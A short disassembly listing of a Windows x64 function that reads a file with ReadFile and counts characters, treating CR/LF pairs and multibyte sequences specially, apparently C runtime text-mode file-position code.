call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140023d03
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140024afc
test rax, rax
js 0x140023d03
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140023d03
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140023cf5
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140023cf5
cmp byte [rcx], 0xd
jne 0x140023cdb
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140023cea
cmp byte [rcx + 1], 0xa
jne 0x140023cea
inc rcx
jmp 0x140023cea
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x61490]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140023cbd
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140023d07
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140010c50
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret